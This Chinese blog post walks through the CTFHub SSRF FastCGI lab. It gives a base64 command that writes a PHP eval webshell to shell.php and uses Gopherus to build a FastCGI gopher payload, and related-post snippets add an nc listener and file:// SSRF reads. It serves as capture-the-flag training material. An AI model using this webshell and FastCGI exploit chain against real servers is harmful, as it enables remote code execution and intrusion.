【CTFHub】FastCGI协议

已于 2024-07-24 19:53:43 修改
阅读量634 收藏 5
点赞数 14
分类专栏： 【CTFHub】ssrf 文章标签： linux 服务器 运维
于 2024-07-24 19:53:07 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/weixin_57240513/article/details/140671287
版权

第一步：开启环境后，打开kali虚拟机，

第二步：生成一句话木马

echo "PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+" | base64 -d > shell.php

第三步：Gopherus-master工具文件中打开终端，输入以下代码

python2 gopherus.py --exploit fastcgi

 

第四步将kali里面生成的代码复制进CTF在线工具-在线URL编码|URL解码编码

第五步：复制到地址栏中

 第六步：打开中国菜刀工具访问/shell.php

第七步：在查到的文件里面找到flag提交

第八步： 找到flag

ctfhub-fastcgi协议
o3Ev的博客
07-13 1756
ctfhub-fastcgi协议 这道题是关于fastcgi协议的东西，具体的fastcgi的东西就不介绍了，附件有，网上也有很多师傅写了的，我这里就直接说下题的思路 fastcgi是向php-fpm发送报文的，而由于php-fpm的默认端口是9000，所以我们用nc去监听下9000端口 nc -lvvp 9000>yy.txt 使用大师傅的exp去打就行： import socket import random import argparse import sys from io import B
CTFHUB--SSRF（中）--FastCGI协议\Redis协议 以及gopherus工具攻击
qq_75120258的博客
03-29 2698
本来我们可以执行任意文件，但是在FPM某个版本之后，增加了security.limit_extensions选项，限定了只有某些后缀的文件允许被fpm执行，默认是.php，所以现在要使用这个漏洞，我们得先知道服务器上的一个php文件，假设我们爆破不出来目标环境的web目录，我们可以找找默认源安装后可能存在的php文件，比如/usr/local/lib/php/PEAR.php。FastCGI是一个常驻型的CGI，它在服务器启动的时候先启动一个应用程序池，然后由这个应用程序池来管理和调度应用程序的执行。
CTFHUB-SSRF-FastCGI协议
weixin_68416970的博客
07-02 642
CTFHUB技能树、SSRF、FastCGI协议的通关教程
CTFHub-FastCGI协议及其ssrf漏洞
XYH_233的博客
02-04 948
​FastCGI协议和HTTP协议一样是通信协议
Ctfhub-FastCGI
鸣蜩十四的博客
08-09 555
我们登陆环境，目前可以知道他的默认网站目录/var/www/html/index.php，我们可以使用gopherus工具，进行写入webshell， 第一个为网站的php文件的地址，下面的为写入一句话木马到网站的对应位置，然后将payload进行一次url编码，在brup中写入 成功，然后用蚁剑链接，找到flag ...
ctfhub fastcgi
winofkill的博客
12-11 2089
fastcgi
CTFHub技能树通关教程——SSRF漏洞原理攻击与防御（二）（上传文件，FastCGI，Redis协议，URL Bypass）
xt350488的博客
06-19 1253
FastCGI是一种用于数据传输的通信协议，与HTTP协议相似，它提供了一个进行数据交换的通道。详细见 https://blog.youkuaiyun.com/mysteryflower/article/details/94386461。
ctfhub利用SSRF攻击内网FastCGI协议
qq_64201116的博客
06-23 2773
SSRF初步理解与探究
CTFHUB-WEB-SSRF【11】POST请求 上传文件 FastCGI协议 Redis协议
(∪.∪ )...zzz的博客
06-13 1044
！！！POST请求试一下`?url=file:///var/www/html/flag.php`根据提示从127.0.0.1 访问给服务器发送一个KEY，写POST包上传文件FastCGI协议Redis协议 POST请求 试一下?url=file:///var/www/html/flag.php 根据提示从127.0.0.1 访问 给服务器发送一个KEY，写POST包 <!-- Debug: key=a977f452523073d3d7d2fd8bd41b5331--> 这个是基础po
Gopherus-开源
04-13
Gopherus是一个免费的，多平台，控制台模式的gopher客户端，可用于DOS，Linux和Windows。 它为gopherspace提供了经典的文本界面。 虽然主要针对DOS，但也可以使用Windows和Linux的端口。 它们使用SDL2模拟伪终端。
CTFHub ssfr FastCgi协议 & Redis 协议
m0_62879498的博客
02-18 1936
ctfhub ssfr FastCgi & Redis 协议 FastCgi协议 这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助 首先我们要先了解这个协议内容（具体查看ctfhub里面的文章） 在本关我们可以尝试使用linux解决问题（**需要下载python2版本！！！，否则Gopherus无法读取 **并且下载Gopherus脚本） linux python2下载方法： [参考博客]((1条消息) 完美解决 Linux安装python2.7 方案_你懂了我的冬天的博客
SSRF - ctfhub -2【FastCGI协议、Redis协议、URL Bypass、数字IP Bypass、302跳转 Bypass、DNS重绑定Bypass】
bin789456的博客
11-18 2429
FastCGI协议 知识参考：CTFhub官方链接 首先介绍一下原理（这里简单介绍，详情请看官方附件） 如果说HTTP来完成浏览器到中间件的请求，那么FastCGI就是从中间件到某语言后端进行交换的协议。 和浏览器请求包一样，也是由header、body组成。 还需要提到一个PHP-FPM，FastCGI进程管理器，即在php中（nginx等服务器中间件）FastCGI规则打包好后传递的终点，最后由FPM按照fastcgi的协议将TCP流解析成真正的数据。 比如打包好的数据长这样 { 'GATEWA
CTFHub-FastCGI协议/Redis协议
最新发布
2301_78554096的博客
03-09 418
CTFHub-FastCGI协议/Redis协议
ctfhub-web-SSRF（FastCGI协议-DNS重绑定 Bypass）
2301_82061181的博客
08-28 931
步骤二：对一句话木马进行base64编码：<?输入：url=http://0x7f000001/flag.php。访问url=http://127.0.0.1/flag.php。访问url=http://127.0.0.1/flag.php。访问url=http://127.0.0.1/flag.php。less-6 FastCGI协议。步骤一：开启环境，查看提示。步骤一：开启环境，查看提示。步骤一：开启环境，查看提示。步骤一：开启环境，查看提示。步骤一：开启环境，查看提示。步骤一：开启环境，查看提示。
CTFHub-SSRF---(Post请求/上传文件/FastCGI/Redis/URL/数字IP/302跳转/DNS重绑定 Bypass)
Wking
08-17 3225
SSRF相关题目实战
SSRF详解 基于CTFHub（下篇）
Bossfrank的博客
04-28 1482
本文简要介绍了SSRF服务端请求伪造的原理，并通过CTFHub的实例，介绍SSRF的基本原理、利用方式、绕过思路等。
CTFHUB-WEB
热门推荐
qq_51558360的博客
01-11 1万+
题目:请求方式 思路一 我们知道http请求方式中没有CTFB方式，就想到CTFHUB 使用BP抓包，将原来的数据包请求方式GET改成CTFHUB 点击Forward,放包。得到flag. 积累 HTTP协议的八种请求方式 1、OPTIONS 返回服务器针对特定资源所支持的HTTP请求方法，也可以利用向web服务器发送‘*’的请求来测试服务器的功能性 2、HEAD 向服务器索要与GET请求相一致的响应，只不过响应体将不会被返回。这一方法可以再不必传输整个响应内容的情况下，就可以获取包含在响应消息头中的元信
CTFHub WP PHP-FPM
m0_62879498的博客
04-09 898
CTFHub WP PHP-FPM PHP-FPM未授权访问漏洞 早期的web服务器只能处理html等静态服务器，但是随着 技术的发展出现的动态语言，web服务器无法处理。这时候出现了各种语言的解释器，但是web服务器如何于语言解释器进行沟通，如何去判断是什么语言，这时候 cgi协议应运而生。只要我们按照cgi协议去编写代码，就可以被服务器识别。 但是 web服务器每收到一个请求，都会去请求一个 cgi程序 ，解析完成结束进程。这样的话，假如请求次数过多，每一个请求都会进行一次 开启、结束，造成了资源的浪费
CTFHub ssrf
07-29
引用\[2\]中提到了CGI和FastCGI协议的运行原理，并介绍了使用Gopherus工具生成攻击FastCGI的payload。引用\[3\]中提到了一个使用Python脚本进行端口扫描的例子。 所以，CTFHub ssrf是指在CTFHub平台上与SSRF相关的...
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值